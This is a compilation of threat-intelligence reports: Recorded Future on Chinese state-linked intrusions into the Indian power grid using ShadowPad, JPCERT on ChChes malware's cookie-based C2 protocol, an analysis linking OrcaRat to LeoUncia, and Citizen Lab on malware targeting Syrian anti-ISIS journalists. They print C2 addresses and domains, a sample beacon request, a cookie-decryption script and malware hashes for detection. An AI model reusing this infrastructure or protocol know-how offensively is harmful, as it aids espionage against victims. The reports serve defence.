Previously reported RedEcho victim locations also displayed in gray (Source: Recorded Future) THREAT ANALYSIS  CHINA http://www.recordedfuture.com https://www.recordedfuture.com/redecho-targeting-indian-power-sector/ https://www.recordedfuture.com/redfoxtrot-china-pla-targets-bordering-asian-countries/ https://www.recordedfuture.com/reddelta-targets-catholic-organizations/ https://github.com/fatedier/frp https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/ https://app.recordedfuture.com/live/sc/10BhbuMHkILY https://www.trendmicro.com/en_gb/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html https://duo.com/decipher/mirai-based-botnet-infects-vulnerable-surveillance-cameras https://www.darktrace.com/en/blog/mirai-malware-infects-cctv-camera/ https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-013.pdf https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/ www.recordedfuture.com  Recorded Future  TA-CN-2022-0406 6 ShadowPad  C2 IP Address ASN First Seen 14.43.108[.
]22 AS4766 Aug 27, 2021 210.123.140[.
]200 AS45361 Sep 15, 2021 112.171.218[.
]39 AS4766 Jan 12, 2022 114.35.191[.
]224 AS3462 Jan 12, 2022 59.10.140[.
]47 AS4766 Jan 13, 2022 121.151.212[.
]101 AS4766 Oct 18, 2021 119.200.211[.
]197 AS4766 Feb 8, 2022 124.216.159[.
]70 AS4766 Feb 23, 2022 211.184.160[.
]108 AS4766 Feb 28, 2022 Table 1: Sample list of ShadowPad C2 servers linked to TAG-38 targeting of Indian power sector and additional victims Overlaps With Other China-Nexus Threat Activity While investigating the TAG-38 intrusion activity, we uncovered multiple links to other suspected Chinese state- sponsored activity.
Of note, the targeting and use of ShadowPad is consistent with previously reported RedEcho activity, and this latest activity also includes a repeated SLDC victim.
However, there were distinct differences in the infrastructure TTPs used in this latest campaign, and at this time we have not identified sufficient technical evidence tying these 2 activity groups together beyond the common targeting sets and capability use.
Figure 5: Maltego chart of TAG-38 infrastructure clustering The use of a shared SSL certificate (SHA1 fingerprint 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf) exhibited on several TAG-38 servers was also notable.
This SSL certificate was also identified historically on a few dozen other servers with links to Chinese cyber espionage activity.
For example, one of the IP addresses historically exhibiting this certificate, 185.243.41[.
]240, concurrently hosted several domains attributed to the group we track as TAG-26 referenced earlier in this report (including supership.dynv6[.
]net, supermarket.ownip[.
]net, and greatsong.soundcast[.
]me).
At this time, we believe it is unlikely that the use of this certificate is exclusive to a single activity group.
This is based on wider context such as differing targeting patterns, infrastructure TTPs, and capability use linked to the infrastructure historically sighted exhibiting this certificate, which may instead be indicative of a shared capability.
Subject: CNwww.microsoft.com Issuer: CNwww.microsoft.com Decimal: -3057430298263606566302079470361224100 Hex: 0xfdb3290c46b41fb24a0fefd16e565c5c Validity: 2021-06-07 14:29:51 to 2039-12-31 23:59:59 Names: www.microsoft.com SHA-256: B63e14d24e0893f85e80b4b94ad0bd800d6e105 70dc93ec56bbe75cd665385b0 SHA-1: 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf MD5: d06cc3e6f5673b2e9bfdac55944109a5 Figure 6: Shared SSL certificate linked to TAG-38 and wider Chinese cyber espionage activity THREAT ANALYSIS  CHINA http://www.recordedfuture.com Recorded Future  www.recordedfuture.com TA-CN-2022-04067 Outlook Recorded Future continues to track Chinese state-sponsored activity groups targeting a wide variety of sectors globally.
A large majority of this conforms to longstanding cyber espionage efforts, such as targeting of foreign governments, surveillance of dissident and minority groups, and economic espionage.
However, the coordinated effort to target Indian power grid assets in recent years is notably distinct from our perspective and, given the continued heightened tension and border disputes between the two countries, we believe is a cause for concern.
Based on the complexity present across national critical infrastructure systems, this often necessitates lengthy reconnaissance operations to better understand the inner workings of these systems, both in a technological and a physical sense.
This is reflected in publicly documented targeted intrusion activity targeting industrial control system (ICS) networks historically, which can often span years.
At this time, we have not identified evidence of compromise of ICS networks by TAG- 38 operators from our visibility, although we cannot discount this possibility.
Given the prolonged targeting of both SLDCs and RLDCs within India, first from RedEcho and now in this latest TAG-38 activity, we believe this targeting is a strategic priority for these actors and is likely to continue.
Mitigations We recommend that users conduct the following measures to detect and mitigate activity associated with TAG-38 activity: Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on  and upon review, consider blocking connection attempts to and from  the external IP addresses and domains listed in the appendix.
Recorded Future proactively detects and logs malicious server configurations in the Command and Control Security Control Feed.
The Command and Control list includes tools used by TAG-38 and Chinese state- sponsored threat activity groups, such as ShadowPad.
Recorded Future clients should alert on and block these C2 servers to allow for detection and remediation of active intrusions.
Monitor for consistent anomalous outbound traffic from your network to unusual servers, such as compromised DVR/IP camera systems in this case, which may be indicative of malware beaconing activity.
Ensure software and firmware associated with IOT devices, such as DVR/IP camera systems, are kept up to date.
Always change any default passwords to a strong, complex password and turn on two-factor authentication (2FA) if available.
Where possible, avoid exposing these devices directly to the internet.
Recorded Future Threat Intelligence, Third-Party Intelligence, and SecOps Intelligence module users can monitor real-time output from network traffic analysis analytics to identify suspected targeted intrusion activity involving your organization or key vendors and partners.
THREAT ANALYSIS  CHINA http://www.recordedfuture.com https://www.mandiant.com/resources/triton-actor-ttp-profile-custom-attack-tools-detections https://www.recordedfuture.com/license-options/ www.recordedfuture.com  Recorded Future  TA-CN-2022-0406 8 Appendix A  Indicators Readers can access the indicators listed below in our public Insikt Group Github repository: https://github.com/Insikt-Group/ Research (Continued Targeting of Indian Power Grid Assets by China State-sponsored Activity Group - March 2022).
Note: We have observed a portion of the compromised infrastructure listed below indiscriminately scanning the internet outside of the First Seen/Last Seen dates associated with TAG-38 activity.
Careful consideration should be given to these dates when analyzing any communications to these network indicators within your environment.
The malicious activity described in this report consists of consistent long-term outbound network traffic to these nodes indicative of malware beaconing, not inbound scanning or brute forcing activity.
Network Indicator First Seen Last Seen 14.43.108[.
]22 Aug 27, 2021 Dec 31, 2021 59.10.140[.
]47 Jan 13, 2022 Feb 2, 2022 59.127.10[.
]132 Feb 12, 2022 Mar 15, 2022 61.74.255[.
]16 Feb 25, 2022 Mar 15, 2022 122.116.165[.
]62 Feb 23, 2022 Mar 15, 2022 112.171.218[.
]39 Jan 12, 2022 Feb 13, 2022 114.34.10[.
]80 Feb 17, 2022 Mar 15, 2022 114.35.16[.
]182 Mar 1, 2022 Mar 20, 2022 114.35.191[.
]224 Jan 12, 2022 Feb 22, 2022 119.200.211[.
]197 Feb 8, 2022 Mar 3, 2022 121.128.198[.
]233 Feb 17, 2022 Mar 13, 2022 121.151.212[.
]101 Oct 18, 2021 Dec 23, 2021 122.116.234[.
]73 Dec 23, 2021 Mar 13, 2022 124.216.159[.
]70 Feb 23, 2022 Mar 21, 2022 175.200.146[.
]227 Dec 29, 2021 Feb 17, 2021 175.208.234[.
]194 Feb 18, 2022 Feb 21, 2022 175.214.193[.
]170 Feb 12, 2022 Mar 21, 2022 182.220.237[.
]217 Feb 17, 2022 Mar 22, 2022 210.123.140[.
]200 Sep 15, 2021 Mar 2, 2022 211.184.160[.
]108 Feb 28, 2022 Mar 22, 2022 220.132.106[.
]193 Feb 17, 2022 Mar 15, 2022 220.133.141[.
]117 Feb 17, 2022 Mar 15, 2022 Shared SSL Certificate (SHA1 Fingerprint): 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf THREAT ANALYSIS  CHINA http://www.recordedfuture.com https://github.com/Insikt-Group/Research https://github.com/Insikt-Group/Research Recorded Future  www.recordedfuture.com TA-CN-2022-04069 Appendix B  MITRE ATTCK Techniques Tactic: Technique ATTCK Code Resource Development: Compromise Infrastructure T1584 Command and Control: Proxy: Multi-hop Proxy T1090.003 Command and Control: Application Layer Protocol - Web Protocols T1071 Exfiltration: Exfiltration Over C2 Channel T1041 THREAT ANALYSIS  CHINA http://www.recordedfuture.com 10www.recordedfuture.com  Recorded Future  TA-CN-2022-0406 THREAT ANALYSIS  CHINA About Recorded Future Recorded Future is the worlds largest intelligence company.
The Recorded Future Intelligence Platform provides the most complete coverage across adversaries, infrastructure, and targets.
By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the vast digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe.
Headquartered in Boston with offices and employees around the world, Recorded Future works with more than 1,300 businesses and government organizations across 60 countries.
Learn more at recordedfuture.com and follow us on Twitter at RecordedFuture.
About Insikt Group Recorded Futures Insikt Group, the companys threat research division, comprises analysts and security researchers with deep government, law enforcement, military, and intelligence agency experience.
Their mission is to produce intelligence that reduces risk for clients, enables tangible outcomes, and prevents business disruption.
http://www.recordedfuture.com _xeskci5o0hvk _rlvrizacbuxx _vsn3diflpgi _boutuai735oe _jsposd67yi4d _ymhy2yayaaoy _kc0ig4z30gn _y04bd1h4aly8 _wbt7oevsaj0d _qlflnkff4qje _4557qr7k8bm1 _fuyk00v86plz
ChChes  Malware that Communicates with CC Servers Using Cookie Headers blog.jpcert.or.jp/2017/02/chches-malware--93d6.html Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files.
The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan.
Also, the executable files icons are disguised as Word documents.
When the recipient executes the file, the machine is infected with malware called ChChes.
This blog article will introduce characteristics of ChChes, including its communication.
ZIP files attached to Targeted Emails While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents.
Below is the example of the latter case.
Figure 1: Example of an attached ZIP file In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document.
By running this executable file, the machine will be infected with ChChes.
JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate.
The dummy Word document is harmless, and its contents are existing online articles related to the file name Why 1/9 http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2017/02/15/fig1example_of_an_attached_zip_file.png http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2017/02/17/fig2flow_of_communication.jpg http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2017/02/17/fig3example_of_the_first_data_sent.jpg http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2017/02/17/fig4example_response_to_the_first_r.jpg http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2017/02/17/fig5a_received_module_and_command_a.jpg http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2017/02/15/fig6code_signing_certificate.png http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2017/02/17/fig7compile_time_for_each_chches_ve.jpg Donald Trump won.
The details of the code signing certificate is described in Appendix A. Communication of ChChes ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules.
There are only few functions that ChChes can execute by itself.
This means it expands its functions by receiving modules from CC servers and loading them on the memory.
The following is an example of HTTP GET request that ChChes sends.
Sometimes, HEAD method is used instead of GET.
GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1 Cookie: uHa5kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs3DKQyt2Fe(omitted) Accept: / Accept-Encoding: gzip, deflate User-Agent: [user agent] Host: [host name] Connection: Keep-Alive Cache-Control: no-cache As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with CC servers.
The value can be decrypted using the below Python script.
data_list  cookie_data.split() dec  [] for i in range(len(data_list)): tmp  data_list[i] pos  tmp.find() key  tmp[0:pos] val  tmp[pos:] md5  hashlib.md5() md5.update(key) rc4key  md5.hexdigest()[8:24] rc4  ARC4.new(rc4key) dec.append(rc4.decrypt(val.decode(base64))[len(key):]) print([] decoded:   .join(dec)) The following is the flow of communication after the machine is infected.
2/9 Figure 2: Flow of communication The First Request The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with A.
The following is an example of data sent.
Figure 3: Example of the first data sent As indicated in Figure 3, the data which is sent contains information including computer name.
The format of the encrypted data differs depending on ChChess version.
The details are specified in Appendix B.
As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from CC servers (Response 1).
The ID is contained in the Set-Cookie field as shown below.
3/9 Figure 4: Example response to the first request Request for Modules and Commands Next, ChChes sends an HTTP request to receive modules and commands (Request 2).
At this point, the following data starting with B is encrypted and contained in the Cookie field.
B[ID to identify the infected machine] As a response to Request 2, encrypted modules and commands (Response 2) are sent from CC servers.
The following shows an example of received modules and commands after decryption.
Figure 5: Decrypted data of modules and commands received Commands are sent either together with modules as a single data (as above), or by itself.
Afterwards, execution results of the received command are sent to CC servers, and it returns to the process to receive modules and commands.
This way, by repeatedly receiving commands from CC servers, the infected machines will be controlled remotely.
JPCERT/CCs research has confirmed modules with the following functions, which are thought to be the bot function of ChChes.
Encrypt communication using AES Execute shell commands Upload files 4/9 Download files Load and run DLLs View tasks of bot commands Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection.
With this feature, communication with CC servers after this point will be encrypted in AES on top of the existing encryption method.
Summary ChChes is a relatively new kind of malware which has been seen since around October 2016.
As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.
The hash values of the samples demonstrated here are described in Appendix C. The malwares destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.
Thanks for reading.
-
Yu Nakamura (Translated by Yukako Uchida) Appendix A: Code signing certificate The code signing certificate attached to some samples are the following: openssl x509 -inform der -text -in mal.cer Certificate: Data: Version: 3 (0x2) Serial Number: 3f:fc:eb:a8:3f:e0:0f:ef:97:f6:3c:d9:2e:77:eb:b9 Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OVeriSign, Inc., OUVeriSign Trust Network, OUTerms of use at https://www.verisign.com/rpa (c)10, CNVeriSign Class 3 Code Signing 2010 CA Validity Not Before: Aug  5 00:00:00 2011 GMT Not After : Aug  4 23:59:59 2012 GMT Subject: CIT, STItaly, LMilan, OHT Srl, OUDigital ID Class 3 - Microsoft Software Validation v2, CNHT Srl Subject Public Key Info: (Omitted) 5/9 Figure 6: Code signing certificate Appendix B: ChChes version The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.
6/9 Figure 7: Compile time for each ChChes version The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version.
Table 1: Sending format of each version Version Format 1.0.0 A?3618468394?
?
1.2.2 A?3618468394?
?
1.3.0 A?3618468394?
?
1.3.2 A?3618468394?
?
1.4.0 A?3618468394?
?
1.4.1 A?3618468394??
()
1.6.4 A?3618468394??
()
Table 2: Description of to Letter Data Size Details Computer name Variable Capital alphanumeric characters Process ID Variable Capital alphanumeric characters Path of a temp folder Variable TEMP value 7/9 Malware version Variable e.g.
1.4.1 Screen resolution Variable e.g.
1024x768 explorer.exe version Variable e.g.
6.1.7601.17567 kernel32.dll version Variable e.g.
6.1.7601.17514 Part of MD5 value of SID 16 bytes e.g.
0345cb0454ab14d7 Letter Data Size Details Appendix C: SHA-256 Hash value of the samples ChChes 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1 ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057 e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91 e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0 d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2 cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856 ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48 8/9 f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b Appendix D: List of communication destination area.wthelpdesk.com dick.ccfchrist.com kawasaki.cloud-maste.com kawasaki.unhamj.com sakai.unhamj.com scorpion.poulsenv.com trout.belowto.com zebra.wthelpdesk.com hamiltion.catholicmmb.com gavin.ccfchrist.com 9/9 ChChes  Malware that Communicates with CC Servers Using Cookie Headers ZIP files attached to Targeted Emails Communication of ChChes The First Request Request for Modules and Commands Summary Appendix A: Code signing certificate Appendix B: ChChes version Appendix C: SHA-256 Hash value of the samples Appendix D: List of communication destination
LeoUncia and OrcaRat The PWC-named malware OrcaRat is presented as a new piece of malware but looking at the URI used for CC communication, it could be an updated version of a well- known and kind of old piece of malware: LeoUncia.
Status Lets face it: pxNFEHrGXF9QA2/5mGabiSKSCIqbiJwAKjfZ81pOurL1xeCaw1/xXiPyUqR/hBL9DW2nbQQEDwNXIYD3l5EkpfyrdVpVC8kp/4WeCaArZAndQEYVSY9QMw2 URI taken from an OrcaRat sample.
It looks a lot like: qFUtb6Sw/TytLfLsy/HnqI8QCX/ZRfFP9KL/_2yA9GIK/iufEXR2r/e6ZFBfoN/fcgL04f7/ZBzUuV5T/Balrp2Wm URI taken from a LeoUncia sample.
What about it?
Could it be the same kind of things, huh?
Lets dig a little deeper inside the code to check if it is just some sort of coincidence or if it is indeed the same code that is behind these two pieces of malware.
PWC explain it pretty well: the URI is made of some sort of Base64-encoded strings with the middle one being the seed to be associated to the master key to decrypt the whole thing.
Actually: URI  E1/E2/E3/E4/E5 and to obtain Di (the original data that gives us Ei once encrypted), we must perform the following operation: Di  rc4(md5(custom_debase64(E3)master_key)).decrypt(Ei) where master_key is OrcaKiller for the OrcaRat sample.
What can we find in LeoUncia that is to be found in OrcaRat too?
URI decryption First, lets have a look at the URI decryption routine.
Dealing with OrcaRat, we have seen the following algorithm: Di  rc4(md5(custom_debase64(E3)master_key)).decrypt(Ei) When we talk about LeoUncia, we can have a look at the blog posts made by FireEye back in December 2010, especially the second one, where some assembly code has been screenshot from IDA without ever giving the name of the underlying algorithm: yes, it is RC4 Once decoded from Base64, the binary data we obtain from the URI is comprised of two parts: the first 16 bytes are the decryption key, and the rest of the data is the information to be decrypted.
Putting back pieces together, we have the following algorithm for LeoUncia: D  rc4(custom_debase64(E)[:16]).decrypt(custom_debase64(E)[16:]) The two samples both share a custom Base64 encoding with the use of RC4 nothing fabulous, but it is a start.
Encoding We dig further with the encoding algorithm: the so-called custom Base64.
In both case, the first goal of the customization is to avoid the presence of some / in any encoded data, because it would break down the process of cutting the URI along with the / separator.
For LeoUncia, the Base64 being used is the Base64-URI that replaces  and / by .
and _, while for OrcaRat,  are kept and / are replaced by .
Additionally, OrcaRat authors thought it would be great if the URI was a little less obviously Base64-related.
So, rather than splitting every eight characters to avoid having in the URI, they decided that replacing the endings  in 1 and  in 2 would be a great improvement.
http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html http://www.fireeye.com/blog/technical/malware-research/2010/12/leouncia-yet-another-backdoor-part-2.html Hibernation feature Lets have a look at one of the feature of LeoUncia: the hibernate feature.
The feature does the same in OrcaRat: check for some date and time written in a file, and sleep for as long as needed before deleting the aforementioned file.
(
We would also notice that an useless call to FileTimeToSystemTime has been removed meanwhile.)
The real difference lies in the obfuscation of the filename: LeoUncia was using a plain-text filename (readx), whereas OrcaRat is obfuscating (just the same way it obfuscates the Campaign ID) this data: the filename is wbt.dat (obfuscated string XORed character-by-character with the XOR key product) and it is located in the App Data folder of the user OrcaRat is running with.
Code seen in a very old LeoUncia sample: plain-text hibernation filename.
Code seen in a more recent LeoUncia sample: XORing with hxing the hibernation filename.
Code seen in an OrcaRat sample: XORing with product the hibernation filename.
Debug strings Finally, lets look at the debug strings we can find in the binaries.
The LeoUncia sample studied by FireEye includes a perfect English string: \r\nThe Remote Shell Execute: s completed\r\n Unfortunately, we cannot find this string in the OrcaRat sample.
Bad luck...
But when we look at a more recent sample of LeoUncia, we have one with the above string and two other interesting strings: \r\nThe Remote Shell Execute: s completed\r\n \r\nReturnTime Set Error\r\n \r\nReturnTime set success\r\n These two strings are linked to the writing in the hibernation file, and indicates to the CC manager that its command either succeeded or failed.
That is very interesting because the OrcaRat sample is also using some very similar debug strings to notify its CC about the hibernate command: \r\nSet return time error  d\r\n \r\nSet return time success\r\n And yes, it is always easier to debug your code when you know the error code thats an improvement Conclusion These two families are most likely linked in the sense that OrcaRat is a nicely updated version of LeoUncia.
Malware Attack Targeting Syrian ISIS Critics by John Scott-Railton and Seth Hardy With the collaboration of Cyber Arabs.
Media coverage: Associated Press, Forbes Summary This report describes a malware attack with circumstantial links to the Islamic State in Iraq and Syria.
In the interest of highlighting a developing threat, this post analyzes the attack and provides a list of Indicators of Compromise.
A Syrian citizen media group critical of Islamic State of Iraq and Syria (ISIS) was recently targeted in a customized digital attack designed to unmask their location.
The Syrian group, Raqqah is being Slaughtered Silently (RSS), focuses its advocacy on documenting human rights abuses by ISIS elements occupying the city of Ar- Raqah.
In response, ISIS forces in the city have reportedly targeted the group with house raids, kidnappings, and an alleged assassination.
The group also faces online threats from ISIS and its supporters, including taunts that ISIS is spying on the group.
Though we are unable to conclusively attribute the attack to ISIS or its supporters, a link to ISIS is plausible.
The malware used in the attack differs substantially from campaigns linked to the Syrian regime, and the attack is focused against a group that is an active target of ISIS forces.
Background: Citizen Journalists under Threat in ISIS-controlled Territories As the Syrian Civil War continues, Syrian citizen journalists and nonviolent activists operate in an increasingly unsafe environment.
The regime has never welcomed their work, and has often targeted them for arrest and detention, and a multi-year hacking campaign (see Pro-Regime / Regime Linked Groups).
Additionally, not all elements of the Syrian opposition have uniformly supported nonviolent activists and citizen journalists.
More recently, in areas like Raqqah, nonviolent activists face a new and exceptionally grave threat: ISIS.
A growing number of reports suggest that ISIS is systematically targeting groups that document atrocities, or that communicate with Western media and aid organizations, sometimes under the pretext of finding spies.
http://citizenlab.org/category/author/john-scott-railton/ http://citizenlab.org/category/author/seth-hardy/ http://cyber-arabs.com/ http://bigstory.ap.org/article/47a2f01d899d4a449acfd1d21d0fa93c/botched-cyberattack-syria-group-some-see-hand http://www.forbes.com/sites/thomasbrewster/2014/12/18/is-isis-trying-to-unmask-syrians-with-malware/ Map: Raqqah is indicated by the red arrow.
Colors indicate areas mostly under the control of the following groups: Black  ISIS, Red  Syrian Regime, Green  Free Syrian Army, Yellow  Kurdish.
Note: the map is not highly detailed, nor completely up-to-date, but is useful in showing general areas of control.
Source: DeSyracuse Ar-Raqqah, the city in which the case study is located, is situated in northern Syria and continues to be a key conflict flashpoint of the Syrian Civil War.
In the spring of 2013, Islamists and Free Syrian Army (FSA) fighters took over Ar- Raqqah from regime forces.
As ISIS gained momentum, they consolidated their control over the city, edging out FSA- affiliated groups through attacks, summary executions, and kidnappings against a range of groups, including ethnic and religious minorities.
Information Control by ISIS During 2014, there were a number of reportsmany unconfirmedthat ISIS confiscated smartphones and laptops from captured activists.
According to Syrians who experienced these searches and spoke with one of the reports authors, ISIS sometimes extracts data from confiscated smartphones and laptops to collect information about people and groups they are targeting, as well as to seek evidence of un-Islamic activities.
As ISIS cements their control of Ar-Raqqah and other territories, reports have emerged recently (though not all of them confirmed) suggesting that elements within ISIS are growing increasingly sophisticated at imposing control and targeting opponents using digital methods.
Reports about ISIS targeting Internet cafs have grown increasingly common, and in some cases reports point to the possible use of keyloggers as well as unspecified IP sniffers to track behaviour in Internet cafes.
The Situation of Nonviolent Activists and Citizen Journalists in Ar-Raqqah Nonviolent activists and citizen journalists based in Ar-Raqqah have provided the outside world with much of what we know about how ISIS treats the population.
These activists and journalists face mortal danger for their actions, and reports have emerged of their detention and torture at the hands of ISIS.
As ISIS continues to use social media to push the message that it is welcomed by the population of Ar-Raqqah, groups like Raqqah is being Slaughtered Silently (RSS) provide a compelling counter narrative.
RSS hasnt escaped ISIS notice, and https://twitter.com/desyracuse https://citizenlab.org/wp-content/uploads/2014/12/ar-raqah.png the group has been targeted for kidnappings, house raids, and at least one alleged targeted killing.
At the time of writing, ISIS is allegedly holding several citizen journalists in Ar-Raqqah.
Image 1: Example of an online threat made against RSS.
The image, which cannot be confirmed, purports to show CCTV installed around Raqqah.
In addition, RSS is targeted online by ISIS supporters with harassment, including threats to the physical safety of its members.
For example, ISIS supporters have claimed that ISIS has established a system of CCTV cameras in Ar-Raqqah to observe residents movements.
While this claim may be a bluff or exaggeration, at least one ISIS supporter has indicated on social media that this system could be used to look for members of RSS.
Analyzing the Attack This section describes a highly targeted attack sent to an e-mail address belonging to RSS.
The Citizen Lab analyzed this attack with the consent of RSS, which requested that their name be used in this report.
The attack took the form of an unsolicited e-mail containing a download link to a decoy file.
The file contained custom malware that profiled the victims computer and beaconed its IP address to an e-mail account under the attackers control.
The Targeting of RSS The unsolicited message below was sent to RSS at the end of November 2014 from a Gmail email address.
The message was carefully worded, and contained references specific to the work and interests of RSS.
Targeting Email Thank you for your efforts to deliver a true picture of the reality of life in Raqqah.
As Syrians residing in Canada we are https://citizenlab.org/wp-content/uploads/2014/12/ar-raqah2.png working with media because we believe in the importance of shedding light on the realities of life in Syria, and Raqqah in particular.
We are preparing a lengthy news report on the realities of life in Raqqah.
We are sharing some information with you with the hope that you will correct it in case it contains errors.
We have prepared a map of the city of Raqqah, in addition to a preliminary report.
We hope that you have a look at it with them and inform us of any errors.
We also hope that if you happen to be on Facebook, you could provide us with the account of the person responsible for the campaign, if you dont mind, so that we can communicate with him directly.
You can see a preliminary copy of the report on this linkhttp://tempsend [DOT]com/[Redacted]With all respect [Name Redacted] Original Arabic .. RQ  I M6   5   , I7  I6       : 567 31 .
7 5  I6  : 71  Z ,  : Q I    7 5  1 7      f  I     ,   Q I I  1  I R r7Q   ,         o I7 m    1    I I   k ,   1 Ihttp://tempsend [DOT]com/[Redacted] I   1  I [Name Redacted] We are unsure why the attacker specifically mentions Canada in the email lure.
However, it is well known that Syrias extensive diaspora (including in Canada) regularly engages in advocacy, sometimes in coordination with groups within Syria.
Thus, the message is not on its face implausible.
However, we note that the attacker also attempts to social engineer the identity of individuals working with RSS, by requesting a personal Facebook page.
Analyzing the Malware The custom malware used in this attack infects a user who views the decoy slideshow, and beacons home with the IP address of the victims computer and details about his or her system each time the computer restarts.
Unlike Syrian regime-linked malware, it contains no Remote Access Trojan (RAT) functionality, suggesting it is intended for identifying and locating a target.
Further, because the malware sends data captured by the malware to an e-mail address, it does not require that the attackers maintain a command-and-control server online.
This functionality would be especially useful to an adversary unsure of whether it can maintain uninterrupted Internet connectivity.
Narrative of Infection Accessing the link provided in the malicious e-mail sends the user to a .zip file hosted on file-sharing site tempsend.com.
At the time of writing the file had been downloaded only 10 times Image 2: Tempsend screenshot The file to be downloaded is slideshow.zip MD5: b72e6678e79cc57d33e684528b5721bd This file contains slideshow.exe MD5: f8bfb82aa92ea6a8e4e0b378781b3859 This file is a self-extracting archive with an icon intended to suggest to the victim that it is itself a slideshow.
When run, the file opens a slideshow of Google Earth screen captures to the victim, displaying a series of locations in Syria, and highlighting an ISIS HQ and other images showing the alleged locations of US airstrikes.
Examples of images in the slideshow as follows: https://citizenlab.org/wp-content/uploads/2014/12/ar-raqah3.png https://citizenlab.org/wp-content/uploads/2014/12/ar-raqah4.png https://citizenlab.org/wp-content/uploads/2014/12/ar-raqah5.png https://citizenlab.org/wp-content/uploads/2014/12/ar-raqah6.png Infection and Data Collection When opened, the slideshow.zip file writes and executes several files: C:\Users\[Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe C:\Users\ [Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe AdobeR1.exe is malicious, while pictures.exe is the genuine slideshow displayed to the victim.
When the slideshow is closed both AdobeR1.exe and pictures.exe are deleted.
